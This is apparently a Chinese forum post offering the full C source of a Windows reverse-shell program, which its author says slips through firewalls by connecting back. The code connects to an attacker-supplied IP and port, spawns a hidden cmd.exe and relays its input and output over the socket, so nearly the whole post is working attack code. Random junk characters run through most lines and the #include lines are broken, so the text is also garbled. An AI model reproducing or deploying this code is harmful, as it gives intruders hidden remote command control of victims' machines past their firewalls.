这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |az2vD6P
>,[@SF%
/* ============================== q=}1ud}1
Rebound port in Windows NT DD2K>1A1
By wind,2006/7 .+,U9e:%
===============================*/ Wy%FF\D.Y
#include 6$[7hlE
#include U*b7 Pxq;
zz
/4 ()u
#pragma comment(lib,"wsock32.lib") 3)yL#hXg)
vA}_x7}n(
void OutputShell(); l0C`teO
SOCKET sClient; mRa\ wEg%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0<O()NMv
)2_[Ww|.
void main(int argc,char **argv) -n8d#Qm)
{ 3{fg3?
WSADATA stWsaData; W.NZ%~|+e/
int nRet; z0OxJ e
SOCKADDR_IN stSaiClient,stSaiServer; c_8<N7 C
A;
wT`c
if(argc != 3) =r*Ykd;W|E
{ sQe
GT)/|
printf("Useage:\n\rRebound DestIP DestPort\n"); m7DKC,
return; J\P6
} *MB>,HU
'qvj[lpGr
WSAStartup(MAKEWORD(2,2),&stWsaData); K|YB)y
_ OC@J*4.
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BlQX$s]
X8">DR&>Y
stSaiClient.sin_family = AF_INET; u~aRFQ:
stSaiClient.sin_port = htons(0); 4Y$\QZO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5C&*PJ~WA
4hODpIF
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (|F.3~Amq
{ $rI 1|;^
printf("Bind Socket Failed!\n"); 7[w<v(Rc
return; vFB^h1k~.M
} ZP5 !O[Ut
JJM<ywPGp
stSaiServer.sin_family = AF_INET; 2 rr=FJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pQK SPr
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =MMd&
l<BV{Gl
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !1fZ7a
{ Rq%Kw> {&
printf("Connect Error!"); Q2D!Agq=D
return; N-]/MB8
} W"^ =RY
OutputShell(); 5|nc^
12
} E^zfI9R
oFf9KHorW
void OutputShell() fjVy;qJ32S
{ #K6cBfqI
char szBuff[1024]; //_H_ue$
SECURITY_ATTRIBUTES stSecurityAttributes; 4A6Yl6\Y
OSVERSIONINFO stOsversionInfo; 3TH?7wi
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F,{mF2U*$
STARTUPINFO stStartupInfo; s<)lC;#e
char *szShell; 5OppK(Oi*C
PROCESS_INFORMATION stProcessInformation; ? ep#s$i
unsigned long lBytesRead; bD{k=jum
f+Sb>$
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -~|{q)!F
c#sHnpP
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 80wzn,o
S
stSecurityAttributes.lpSecurityDescriptor = 0; &8z<~q
stSecurityAttributes.bInheritHandle = TRUE; d.^g#&h
+)iMJ]>
(rd
[tc
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M{Z
;7n'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m$kQbPlatN
lOk8VlH<h
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {VL@U$'oI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pX
^^0
stStartupInfo.wShowWindow = SW_HIDE; QCF'/G
stStartupInfo.hStdInput = hReadPipe; !6T"J!F#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~?AEtl#&"
C=/B\G/.9
GetVersionEx(&stOsversionInfo); {^
b2nOMv
^Aq0<
switch(stOsversionInfo.dwPlatformId) *L$2M?xkY
{ Zn'tNt/
case 1: uI)twry]@
szShell = "command.com"; Z0jgUq`r
break; /}(d'@8p
default: :Ko6.|
szShell = "cmd.exe"; :q]9F4im
break; ^k;]"NR
} fq]PKLW'
RhH1nf2UR
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S@FO&o 0
o)/Pr7Qn
send(sClient,szMsg,77,0); 4=xi)qF/@
while(1) kkF)Tro\
{ <4"-tYa
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); La;G S
if(lBytesRead) Aw |;C
{ 6:]N%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l9I r@.m
send(sClient,szBuff,lBytesRead,0); @#)` -]g
} D j&~x
else kg[%Q]]
{ /Hyz]46
lBytesRead=recv(sClient,szBuff,1024,0); &0Yg:{k$
if(lBytesRead<=0) break; .p&@;fZ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2gPqB*H
} DH-M|~.sf^
} IW3k{z
%w*)7@,+-
return; fkBL`[v)4
}